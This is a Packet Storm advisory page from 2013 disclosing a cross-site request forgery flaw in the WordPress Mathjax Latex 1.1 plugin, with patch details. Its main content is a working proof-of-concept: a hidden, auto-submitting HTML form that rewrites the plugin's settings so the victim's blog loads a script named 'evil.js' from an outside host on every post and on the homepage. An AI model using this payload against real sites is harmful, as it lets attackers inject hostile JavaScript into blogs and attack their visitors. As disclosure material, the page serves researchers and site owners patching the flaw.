what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

WordPress Mathjax Latex 1.1 Cross Site Request Forgery

WordPress Mathjax Latex 1.1 Cross Site Request Forgery
Posted Mar 25, 2013
Authored by Junaid Hussain

WordPress Mathjax Latex version 1.1 suffers from a cross site request forgery vulnerability.

tags | exploit, csrf
SHA-256 | eef9fe57923060a3364f12106f5449c6b6f9790fc30d849f3f71887ff567f95a

WordPress Mathjax Latex 1.1 Cross Site Request Forgery

Change Mirror Download
# Title: Wordpress Mathjax Latex 1.1 Cross-Site Request Forgery Vulnerability
# Release Date: 25/03/13
# Author: Junaid Hussain [ illSecure Research Group ]
# Contact: illSecResearchGroup@Gmail.com | Website: illSecure.com
# Software Link: http://downloads.wordpress.org/plugin/mathjax-latex.1.1.zip
# Tested on CentOs 5 - Wordpress Version 3.5
----------------------------------------------------------------------------------------------------------
There is no CSRF protection on the mathjax option page. This allows an attacker to specify arbitrary
javascript that will be loaded with each post and also loaded onto the homepage of the wordpress blog
----------------------------------------------------------------------------------------------------------
//##### CSRF - Proof Of Concept:
<html>
<body onload="javascript:document.forms[0].submit()">
<form id="mathjaxlatex" name="mathjaxlatex" action="http://[DOMAINNAME]/wp-admin/options-general.php?page=mathjax-latex.php" method='POST'>
<input type="hidden" name="mathjax_hidden" style="display:none;" value="Y">
<input type="checkbox" name="force_load" style="display:none;" value="1"CHECKED/>
<input type="checkbox" name="default_disabled" style="display:none;" value="1"CHECKED/>
<input type='textbox' name='mathjax_location' class='regular-text code' value='http://illsecure.com/code/evil.js' style="display:none;"/>
</form>
</html>
----------------------------------------------------------------------------------------------------------
//##### Patch:
The Vendor Was notified and a patch was released:
--- Patched Version: http://downloads.wordpress.org/plugin/mathjax-latex.1.2.1.zip
--- See ChangeLog: http://wordpress.org/extend/plugins/mathjax-latex/changelog/
----------------------------------------------------------------------------------------------------------
Contact: illSecResearchGroup@gmail.com
- Junaid Hussain
- http://illsecure.com
----------------------------------------------------------------------------------------------------------


Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close